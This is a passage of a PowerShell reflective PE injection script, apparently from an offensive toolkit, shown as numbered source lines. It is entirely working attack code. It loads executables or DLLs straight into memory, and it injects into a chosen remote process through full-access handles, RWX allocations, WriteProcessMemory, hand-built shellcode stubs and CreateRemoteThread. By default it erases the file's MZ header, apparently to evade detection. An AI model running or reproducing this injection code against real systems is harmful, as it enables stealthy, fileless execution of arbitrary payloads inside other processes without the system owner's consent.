  2098.                 Throw "Call to VirtualProtect failed"
  2099.             }
  2100.  
  2101.             $Win32Functions.memcpy.Invoke($Info[0], $Info[1], [UInt64]$Info[2]) | Out-Null
  2102.  
  2103.             $Win32Functions.VirtualProtect.Invoke($Info[0], [UInt32]$Info[2], [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null
  2104.         }
  2105.     }
  2106.  
  2107.  
  2108.  
  2109.  
  2110.  
  2111.     Function Get-MemoryProcAddress
  2112.     {
  2113.         Param(
  2114.         [Parameter(Position = 0, Mandatory = $true)]
  2115.         [IntPtr]
  2116.         $PEHandle,
  2117.  
  2118.         [Parameter(Position = 1, Mandatory = $true)]
  2119.         [String]
  2120.         $FunctionName
  2121.         )
  2122.  
  2123.         $Win32Types = Get-Win32Types
  2124.         $Win32Constants = Get-Win32Constants
  2125.         $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants
  2126.  
  2127.  
  2128.         if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ExportTable.Size -eq 0)
  2129.         {
  2130.             return [IntPtr]::Zero
  2131.         }
  2132.         $ExportTablePtr = Add-SignedIntAsUnsigned ($PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ExportTable.VirtualAddress)
  2133.         $ExportTable = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ExportTablePtr, [Type]$Win32Types.IMAGE_EXPORT_DIRECTORY)
  2134.  
  2135.         for ($i = 0; $i -lt $ExportTable.NumberOfNames; $i++)
  2136.         {
  2137.  
  2138.             $NameOffsetPtr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfNames + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt32])))
  2139.             $NamePtr = Add-SignedIntAsUnsigned ($PEHandle) ([System.Runtime.InteropServices.Marshal]::PtrToStructure($NameOffsetPtr, [Type][UInt32]))
  2140.             $Name = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($NamePtr)
  2141.  
  2142.             if ($Name -ceq $FunctionName)
  2143.             {
  2144.  
  2145.  
  2146.                 $OrdinalPtr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfNameOrdinals + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt16])))
  2147.                 $FuncIndex = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OrdinalPtr, [Type][UInt16])
  2148.                 $FuncOffsetAddr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfFunctions + ($FuncIndex * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt32])))
  2149.                 $FuncOffset = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FuncOffsetAddr, [Type][UInt32])
  2150.                 return Add-SignedIntAsUnsigned ($PEHandle) ($FuncOffset)
  2151.             }
  2152.         }
  2153.  
  2154.         return [IntPtr]::Zero
  2155.     }
  2156.  
  2157.  
  2158.     Function Invoke-MemoryLoadLibrary
  2159.     {
  2160.         Param(
  2161.         [Parameter( Position = 0, Mandatory = $true )]
  2162.         [Byte[]]
  2163.         $PEBytes,
  2164.  
  2165.         [Parameter(Position = 1, Mandatory = $false)]
  2166.         [String]
  2167.         $ExeArgs,
  2168.  
  2169.         [Parameter(Position = 2, Mandatory = $false)]
  2170.         [IntPtr]
  2171.         $RemoteProcHandle,
  2172.  
  2173.         [Parameter(Position = 3)]
  2174.         [Bool]
  2175.         $ForceASLR = $false
  2176.         )
  2177.  
  2178.         $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])
  2179.  
  2180.  
  2181.         $Win32Constants = Get-Win32Constants
  2182.         $Win32Functions = Get-Win32Functions
  2183.         $Win32Types = Get-Win32Types
  2184.  
  2185.         $RemoteLoading = $false
  2186.         if (($RemoteProcHandle -ne $null) -and ($RemoteProcHandle -ne [IntPtr]::Zero))
  2187.         {
  2188.             $RemoteLoading = $true
  2189.         }
  2190.  
  2191.  
  2192.         Write-Verbose "Getting basic PE information from the file"
  2193.         $PEInfo = Get-PEBasicInfo -PEBytes $PEBytes -Win32Types $Win32Types
  2194.         $OriginalImageBase = $PEInfo.OriginalImageBase
  2195.         $NXCompatible = $true
  2196.         if (([Int] $PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT) -ne $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT)
  2197.         {
  2198.             Write-Warning "PE is not compatible with DEP, might cause issues" -WarningAction Continue
  2199.             $NXCompatible = $false
  2200.         }
  2201.  
  2202.  
  2203.  
  2204.         $Process64Bit = $true
  2205.         if ($RemoteLoading -eq $true)
  2206.         {
  2207.             $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll")
  2208.             $Result = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "IsWow64Process")
  2209.             if ($Result -eq [IntPtr]::Zero)
  2210.             {
  2211.                 Throw "Couldn't locate IsWow64Process function to determine if target process is 32bit or 64bit"
  2212.             }
  2213.  
  2214.             [Bool]$Wow64Process = $false
  2215.             $Success = $Win32Functions.IsWow64Process.Invoke($RemoteProcHandle, [Ref]$Wow64Process)
  2216.             if ($Success -eq $false)
  2217.             {
  2218.                 Throw "Call to IsWow64Process failed"
  2219.             }
  2220.  
  2221.             if (($Wow64Process -eq $true) -or (($Wow64Process -eq $false) -and ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 4)))
  2222.             {
  2223.                 $Process64Bit = $false
  2224.             }
  2225.  
  2226.  
  2227.             $PowerShell64Bit = $true
  2228.             if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -ne 8)
  2229.             {
  2230.                 $PowerShell64Bit = $false
  2231.             }
  2232.             if ($PowerShell64Bit -ne $Process64Bit)
  2233.             {
  2234.                 throw "PowerShell must be same architecture (x86/x64) as PE being loaded and remote process"
  2235.             }
  2236.         }
  2237.         else
  2238.         {
  2239.             if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -ne 8)
  2240.             {
  2241.                 $Process64Bit = $false
  2242.             }
  2243.         }
  2244.         if ($Process64Bit -ne $PEInfo.PE64Bit)
  2245.         {
  2246.             Throw "PE platform doesn't match the architecture of the process it is being loaded in (32/64bit)"
  2247.         }
  2248.  
  2249.  
  2250.  
  2251.         Write-Verbose "Allocating memory for the PE and write its headers to memory"
  2252.  
  2253.  
  2254.         [IntPtr]$LoadAddr = [IntPtr]::Zero
  2255.         $PESupportsASLR = ([Int] $PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) -eq $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE
  2256.         if ((-not $ForceASLR) -and (-not $PESupportsASLR))
  2257.         {
  2258.             Write-Warning "PE file being reflectively loaded is not ASLR compatible. If the loading fails, try restarting PowerShell and trying again OR try using the -ForceASLR flag (could cause crashes)" -WarningAction Continue
  2259.             [IntPtr]$LoadAddr = $OriginalImageBase
  2260.         }
  2261.         elseif ($ForceASLR -and (-not $PESupportsASLR))
  2262.         {
  2263.             Write-Verbose "PE file doesn't support ASLR but -ForceASLR is set. Forcing ASLR on the PE file. This could result in a crash."
  2264.         }
  2265.  
  2266.         if ($ForceASLR -and $RemoteLoading)
  2267.         {
  2268.             Write-Error "Cannot use ForceASLR when loading in to a remote process." -ErrorAction Stop
  2269.         }
  2270.         if ($RemoteLoading -and (-not $PESupportsASLR))
  2271.         {
  2272.             Write-Error "PE doesn't support ASLR. Cannot load a non-ASLR PE in to a remote process" -ErrorAction Stop
  2273.         }
  2274.  
  2275.         $PEHandle = [IntPtr]::Zero
  2276.         $EffectivePEHandle = [IntPtr]::Zero
  2277.         if ($RemoteLoading -eq $true)
  2278.         {
  2279.  
  2280.             $PEHandle = $Win32Functions.VirtualAlloc.Invoke([IntPtr]::Zero, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)
  2281.  
  2282.  
  2283.             $EffectivePEHandle = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, $LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE)
  2284.             if ($EffectivePEHandle -eq [IntPtr]::Zero)
  2285.             {
  2286.                 Throw "Unable to allocate memory in the remote process. If the PE being loaded doesn't support ASLR, it could be that the requested base address of the PE is already in use"
  2287.             }
  2288.         }
  2289.         else
  2290.         {
  2291.             if ($NXCompatible -eq $true)
  2292.             {
  2293.                 $PEHandle = $Win32Functions.VirtualAlloc.Invoke($LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)
  2294.             }
  2295.             else
  2296.             {
  2297.                 $PEHandle = $Win32Functions.VirtualAlloc.Invoke($LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE)
  2298.             }
  2299.             $EffectivePEHandle = $PEHandle
  2300.         }
  2301.  
  2302.         [IntPtr]$PEEndAddress = Add-SignedIntAsUnsigned ($PEHandle) ([Int64]$PEInfo.SizeOfImage)
  2303.         if ($PEHandle -eq [IntPtr]::Zero)
  2304.         {
  2305.             Throw "VirtualAlloc failed to allocate memory for PE. If PE is not ASLR compatible, try running the script in a new PowerShell process (the new PowerShell process will have a different memory layout, so the address the PE wants might be free)."
  2306.         }
  2307.         [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, 0, $PEHandle, $PEInfo.SizeOfHeaders) | Out-Null
  2308.  
  2309.  
  2310.  
  2311.         Write-Verbose "Getting detailed PE information from the headers loaded in memory"
  2312.         $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants
  2313.         $PEInfo | Add-Member -MemberType NoteProperty -Name EndAddress -Value $PEEndAddress
  2314.         $PEInfo | Add-Member -MemberType NoteProperty -Name EffectivePEHandle -Value $EffectivePEHandle
  2315.         Write-Verbose "StartAddress: $(Get-Hex $PEHandle)    EndAddress: $(Get-Hex $PEEndAddress)"
  2316.  
  2317.  
  2318.  
  2319.         Write-Verbose "Copy PE sections in to memory"
  2320.         Copy-Sections -PEBytes $PEBytes -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types
  2321.  
  2322.  
  2323.  
  2324.         Write-Verbose "Update memory addresses based on where the PE was actually loaded in memory"
  2325.         Update-MemoryAddresses -PEInfo $PEInfo -OriginalImageBase $OriginalImageBase -Win32Constants $Win32Constants -Win32Types $Win32Types
  2326.  
  2327.  
  2328.  
  2329.         Write-Verbose "Import DLL's needed by the PE we are loading"
  2330.         if ($RemoteLoading -eq $true)
  2331.         {
  2332.             Import-DllImports -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants -RemoteProcHandle $RemoteProcHandle
  2333.         }
  2334.         else
  2335.         {
  2336.             Import-DllImports -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants
  2337.         }
  2338.  
  2339.  
  2340.  
  2341.         if ($RemoteLoading -eq $false)
  2342.         {
  2343.             if ($NXCompatible -eq $true)
  2344.             {
  2345.                 Write-Verbose "Update memory protection flags"
  2346.                 Update-MemoryProtectionFlags -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants -Win32Types $Win32Types
  2347.             }
  2348.             else
  2349.             {
  2350.                 Write-Verbose "PE being reflectively loaded is not compatible with NX memory, keeping memory as read write execute"
  2351.             }
  2352.         }
  2353.         else
  2354.         {
  2355.             Write-Verbose "PE being loaded in to a remote process, not adjusting memory permissions"
  2356.         }
  2357.  
  2358.  
  2359.  
  2360.         if ($RemoteLoading -eq $true)
  2361.         {
  2362.             [UInt32]$NumBytesWritten = 0
  2363.             $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $EffectivePEHandle, $PEHandle, [UIntPtr]($PEInfo.SizeOfImage), [Ref]$NumBytesWritten)
  2364.             if ($Success -eq $false)
  2365.             {
  2366.                 Throw "Unable to write shellcode to remote process memory."
  2367.             }
  2368.         }
  2369.  
  2370.  
  2371.  
  2372.         if ($PEInfo.FileType -ieq "DLL")
  2373.         {
  2374.             if ($RemoteLoading -eq $false)
  2375.             {
  2376.                 Write-Verbose "Calling dllmain so the DLL knows it has been loaded"
  2377.                 $DllMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint)
  2378.                 $DllMainDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr]) ([Bool])
  2379.                 $DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate)
  2380.  
  2381.                 $DllMain.Invoke($PEInfo.PEHandle, 1, [IntPtr]::Zero) | Out-Null
  2382.             }
  2383.             else
  2384.             {
  2385.                 $DllMainPtr = Add-SignedIntAsUnsigned ($EffectivePEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint)
  2386.  
  2387.                 if ($PEInfo.PE64Bit -eq $true)
  2388.                 {
  2389.  
  2390.                     $CallDllMainSC1 = @(0x53, 0x48, 0x89, 0xe3, 0x66, 0x83, 0xe4, 0x00, 0x48, 0xb9)
  2391.                     $CallDllMainSC2 = @(0xba, 0x01, 0x00, 0x00, 0x00, 0x41, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x48, 0xb8)
  2392.                     $CallDllMainSC3 = @(0xff, 0xd0, 0x48, 0x89, 0xdc, 0x5b, 0xc3)
  2393.                 }
  2394.                 else
  2395.                 {
  2396.  
  2397.                     $CallDllMainSC1 = @(0x53, 0x89, 0xe3, 0x83, 0xe4, 0xf0, 0xb9)
  2398.                     $CallDllMainSC2 = @(0xba, 0x01, 0x00, 0x00, 0x00, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x50, 0x52, 0x51, 0xb8)
  2399.                     $CallDllMainSC3 = @(0xff, 0xd0, 0x89, 0xdc, 0x5b, 0xc3)
  2400.                 }
  2401.                 $SCLength = $CallDllMainSC1.Length + $CallDllMainSC2.Length + $CallDllMainSC3.Length + ($PtrSize * 2)
  2402.                 $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength)
  2403.                 $SCPSMemOriginal = $SCPSMem
  2404.  
  2405.                 Write-BytesToMemory -Bytes $CallDllMainSC1 -MemoryAddress $SCPSMem
  2406.                 $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC1.Length)
  2407.                 [System.Runtime.InteropServices.Marshal]::StructureToPtr($EffectivePEHandle, $SCPSMem, $false)
  2408.                 $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
  2409.                 Write-BytesToMemory -Bytes $CallDllMainSC2 -MemoryAddress $SCPSMem
  2410.                 $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC2.Length)
  2411.                 [System.Runtime.InteropServices.Marshal]::StructureToPtr($DllMainPtr, $SCPSMem, $false)
  2412.                 $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
  2413.                 Write-BytesToMemory -Bytes $CallDllMainSC3 -MemoryAddress $SCPSMem
  2414.                 $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC3.Length)
  2415.  
  2416.                 $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE)
  2417.                 if ($RSCAddr -eq [IntPtr]::Zero)
  2418.                 {
  2419.                     Throw "Unable to allocate memory in the remote process for shellcode"
  2420.                 }
  2421.  
  2422.                 $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten)
  2423.                 if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength))
  2424.                 {
  2425.                     Throw "Unable to write shellcode to remote process memory."
  2426.                 }
  2427.  
  2428.                 $RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions
  2429.                 $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000)
  2430.                 if ($Result -ne 0)
  2431.                 {
  2432.                     Throw "Call to CreateRemoteThread to call GetProcAddress failed."
  2433.                 }
  2434.  
  2435.                 $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
  2436.             }
  2437.         }
  2438.         elseif ($PEInfo.FileType -ieq "EXE")
  2439.         {
  2440.  
  2441.             [IntPtr]$ExeDoneBytePtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(1)
  2442.             [System.Runtime.InteropServices.Marshal]::WriteByte($ExeDoneBytePtr, 0, 0x00)
  2443.             $OverwrittenMemInfo = Update-ExeFunctions -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants -ExeArguments $ExeArgs -ExeDoneBytePtr $ExeDoneBytePtr
  2444.  
  2445.  
  2446.  
  2447.             [IntPtr]$ExeMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint)
  2448.             Write-Verbose "Call EXE Main function. Address: $(Get-Hex $ExeMainPtr). Creating thread for the EXE to run in."
  2449.  
  2450.             $Win32Functions.CreateThread.Invoke([IntPtr]::Zero, [IntPtr]::Zero, $ExeMainPtr, [IntPtr]::Zero, ([UInt32]0), [Ref]([UInt32]0)) | Out-Null
  2451.  
  2452.             while($true)
  2453.             {
  2454.                 [Byte]$ThreadDone = [System.Runtime.InteropServices.Marshal]::ReadByte($ExeDoneBytePtr, 0)
  2455.                 if ($ThreadDone -eq 1)
  2456.                 {
  2457.                     Copy-ArrayOfMemAddresses -CopyInfo $OverwrittenMemInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants
  2458.                     Write-Verbose "EXE thread has completed."
  2459.                     break
  2460.                 }
  2461.                 else
  2462.                 {
  2463.                     Start-Sleep -Seconds 1
  2464.                 }
  2465.             }
  2466.         }
  2467.  
  2468.         return @($PEInfo.PEHandle, $EffectivePEHandle)
  2469.     }
  2470.  
  2471.  
  2472.     Function Invoke-MemoryFreeLibrary
  2473.     {
  2474.         Param(
  2475.         [Parameter(Position=0, Mandatory=$true)]
  2476.         [IntPtr]
  2477.         $PEHandle
  2478.         )
  2479.  
  2480.  
  2481.         $Win32Constants = Get-Win32Constants
  2482.         $Win32Functions = Get-Win32Functions
  2483.         $Win32Types = Get-Win32Types
  2484.  
  2485.         $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants
  2486.  
  2487.  
  2488.         if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.Size -gt 0)
  2489.         {
  2490.             [IntPtr]$ImportDescriptorPtr = Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.VirtualAddress)
  2491.  
  2492.             while ($true)
  2493.             {
  2494.                 $ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, [Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR)
  2495.  
  2496.  
  2497.                 if ($ImportDescriptor.Characteristics -eq 0 `
  2498.                         -and $ImportDescriptor.FirstThunk -eq 0 `
  2499.                         -and $ImportDescriptor.ForwarderChain -eq 0 `
  2500.                         -and $ImportDescriptor.Name -eq 0 `
  2501.                         -and $ImportDescriptor.TimeDateStamp -eq 0)
  2502.                 {
  2503.                     Write-Verbose "Done unloading the libraries needed by the PE"
  2504.                     break
  2505.                 }
  2506.  
  2507.                 $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi((Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$ImportDescriptor.Name)))
  2508.                 $ImportDllHandle = $Win32Functions.GetModuleHandle.Invoke($ImportDllPath)
  2509.  
  2510.                 if ($ImportDllHandle -eq $null)
  2511.                 {
  2512.                     Write-Warning "Error getting DLL handle in MemoryFreeLibrary, DLLName: $ImportDllPath. Continuing anyways" -WarningAction Continue
  2513.                 }
  2514.  
  2515.                 $Success = $Win32Functions.FreeLibrary.Invoke($ImportDllHandle)
  2516.                 if ($Success -eq $false)
  2517.                 {
  2518.                     Write-Warning "Unable to free library: $ImportDllPath. Continuing anyways." -WarningAction Continue
  2519.                 }
  2520.  
  2521.                 $ImportDescriptorPtr = Add-SignedIntAsUnsigned ($ImportDescriptorPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR))
  2522.             }
  2523.         }
  2524.  
  2525.  
  2526.         Write-Verbose "Calling dllmain so the DLL knows it is being unloaded"
  2527.         $DllMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint)
  2528.         $DllMainDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr]) ([Bool])
  2529.         $DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate)
  2530.  
  2531.         $DllMain.Invoke($PEInfo.PEHandle, 0, [IntPtr]::Zero) | Out-Null
  2532.  
  2533.  
  2534.         $Success = $Win32Functions.VirtualFree.Invoke($PEHandle, [UInt64]0, $Win32Constants.MEM_RELEASE)
  2535.         if ($Success -eq $false)
  2536.         {
  2537.             Write-Warning "Unable to call VirtualFree on the PE's memory. Continuing anyways." -WarningAction Continue
  2538.         }
  2539.     }
  2540.  
  2541.  
  2542.     Function Main
  2543.     {
  2544.         $Win32Functions = Get-Win32Functions
  2545.         $Win32Types = Get-Win32Types
  2546.         $Win32Constants =  Get-Win32Constants
  2547.  
  2548.         $RemoteProcHandle = [IntPtr]::Zero
  2549.  
  2550.  
  2551.         if (($ProcId -ne $null) -and ($ProcId -ne 0) -and ($ProcName -ne $null) -and ($ProcName -ne ""))
  2552.         {
  2553.             Throw "Can't supply a ProcId and ProcName, choose one or the other"
  2554.         }
  2555.         elseif ($ProcName -ne $null -and $ProcName -ne "")
  2556.         {
  2557.             $Processes = @(Get-Process -Name $ProcName -ErrorAction SilentlyContinue)
  2558.             if ($Processes.Count -eq 0)
  2559.             {
  2560.                 Throw "Can't find process $ProcName"
  2561.             }
  2562.             elseif ($Processes.Count -gt 1)
  2563.             {
  2564.                 $ProcInfo = Get-Process | where { $_.Name -eq $ProcName } | Select-Object ProcessName, Id, SessionId
  2565.                 Write-Output $ProcInfo
  2566.                 Throw "More than one instance of $ProcName found, please specify the process ID to inject in to."
  2567.             }
  2568.             else
  2569.             {
  2570.                 $ProcId = $Processes[0].ID
  2571.             }
  2572.         }
  2573.  
  2574.  
  2575.  
  2576.  
  2577.  
  2578.  
  2579.  
  2580.  
  2581.  
  2582.         if (($ProcId -ne $null) -and ($ProcId -ne 0))
  2583.         {
  2584.             $RemoteProcHandle = $Win32Functions.OpenProcess.Invoke(0x001F0FFF, $false, $ProcId)
  2585.             if ($RemoteProcHandle -eq [IntPtr]::Zero)
  2586.             {
  2587.                 Throw "Couldn't obtain the handle for process ID: $ProcId"
  2588.             }
  2589.  
  2590.             Write-Verbose "Got the handle for the remote process to inject in to"
  2591.         }
  2592.  
  2593.  
  2594.  
  2595.         Write-Verbose "Calling Invoke-MemoryLoadLibrary"
  2596.         $PEHandle = [IntPtr]::Zero
  2597.         if ($RemoteProcHandle -eq [IntPtr]::Zero)
  2598.         {
  2599.             $PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs -ForceASLR $ForceASLR
  2600.         }
  2601.         else
  2602.         {
  2603.             $PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs -RemoteProcHandle $RemoteProcHandle -ForceASLR $ForceASLR
  2604.         }
  2605.         if ($PELoadedInfo -eq [IntPtr]::Zero)
  2606.         {
  2607.             Throw "Unable to load PE, handle returned is NULL"
  2608.         }
  2609.  
  2610.         $PEHandle = $PELoadedInfo[0]
  2611.         $RemotePEHandle = $PELoadedInfo[1]
  2612.  
  2613.  
  2614.  
  2615.         $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants
  2616.         if (($PEInfo.FileType -ieq "DLL") -and ($RemoteProcHandle -eq [IntPtr]::Zero))
  2617.         {
  2618.  
  2619.  
  2620.  
  2621.             switch ($FuncReturnType)
  2622.             {
  2623.                 'WString' {
  2624.                     Write-Verbose "Calling function with WString return type"
  2625.                     [IntPtr]$WStringFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "WStringFunc"
  2626.                     if ($WStringFuncAddr -eq [IntPtr]::Zero)
  2627.                     {
  2628.                         Throw "Couldn't find function address."
  2629.                     }
  2630.                     $WStringFuncDelegate = Get-DelegateType @() ([IntPtr])
  2631.                     $WStringFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WStringFuncAddr, $WStringFuncDelegate)
  2632.                     [IntPtr]$OutputPtr = $WStringFunc.Invoke()
  2633.                     $Output = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($OutputPtr)
  2634.                     Write-Output $Output
  2635.                 }
  2636.  
  2637.                 'String' {
  2638.                     Write-Verbose "Calling function with String return type"
  2639.                     [IntPtr]$StringFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "StringFunc"
  2640.                     if ($StringFuncAddr -eq [IntPtr]::Zero)
  2641.                     {
  2642.                         Throw "Couldn't find function address."
  2643.                     }
  2644.                     $StringFuncDelegate = Get-DelegateType @() ([IntPtr])
  2645.                     $StringFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($StringFuncAddr, $StringFuncDelegate)
  2646.                     [IntPtr]$OutputPtr = $StringFunc.Invoke()
  2647.                     $Output = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($OutputPtr)
  2648.                     Write-Output $Output
  2649.                 }
  2650.  
  2651.                 'Void' {
  2652.                     Write-Verbose "Calling function with Void return type"
  2653.                     [IntPtr]$VoidFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "VoidFunc"
  2654.                     if ($VoidFuncAddr -eq [IntPtr]::Zero)
  2655.                     {
  2656.  
  2657.                     }
  2658.                     else
  2659.                     {
  2660.                     $VoidFuncDelegate = Get-DelegateType @() ([Void])
  2661.                     $VoidFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VoidFuncAddr, $VoidFuncDelegate)
  2662.                     $VoidFunc.Invoke() | Out-Null
  2663.                     }
  2664.                 }
  2665.             }
  2666.  
  2667.  
  2668.  
  2669.         }
  2670.  
  2671.         elseif (($PEInfo.FileType -ieq "DLL") -and ($RemoteProcHandle -ne [IntPtr]::Zero))
  2672.         {
  2673.             $VoidFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "VoidFunc"
  2674.             if (($VoidFuncAddr -eq $null) -or ($VoidFuncAddr -eq [IntPtr]::Zero))
  2675.             {
  2676.  
  2677.             }
  2678.             else{
  2679.             $VoidFuncAddr = Sub-SignedIntAsUnsigned $VoidFuncAddr $PEHandle
  2680.             $VoidFuncAddr = Add-SignedIntAsUnsigned $VoidFuncAddr $RemotePEHandle
  2681.  
  2682.  
  2683.             $RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $VoidFuncAddr -Win32Functions $Win32Functions
  2684.             }
  2685.         }
  2686.  
  2687.  
  2688.  
  2689.         if ($RemoteProcHandle -eq [IntPtr]::Zero -and $PEInfo.FileType -ieq "DLL")
  2690.         {
  2691.  
  2692.         }
  2693.         else
  2694.         {
  2695.  
  2696.  
  2697.  
  2698.  
  2699.  
  2700.  
  2701.         }
  2702.  
  2703.         Write-Verbose "Done!"
  2704.     }
  2705.  
  2706.     Main
  2707. }
  2708.  
  2709.  
  2710. Function Main
  2711. {
  2712.     if (($PSCmdlet.MyInvocation.BoundParameters["Debug"] -ne $null) -and $PSCmdlet.MyInvocation.BoundParameters["Debug"].IsPresent)
  2713.     {
  2714.         $DebugPreference  = "Continue"
  2715.     }
  2716.  
  2717.     Write-Verbose "PowerShell ProcessID: $PID"
  2718.  
  2719.  
  2720.     $e_magic = ($PEBytes[0..1] | % {[Char] $_}) -join ''
  2721.  
  2722.     if ($e_magic -ne 'MZ')
  2723.     {
  2724.         throw 'PE is not a valid PE file.'
  2725.     }
  2726.  
  2727.     if (-not $DoNotZeroMZ) {
  2728.  
  2729.  
  2730.         $PEBytes[0] = 0
  2731.         $PEBytes[1] = 0
  2732.     }
  2733.  
  2734.  
  2735.     if ($ExeArgs -ne $null -and $ExeArgs -ne '')
  2736.     {
  2737.         $ExeArgs = "ReflectiveExe $ExeArgs"
  2738.     }
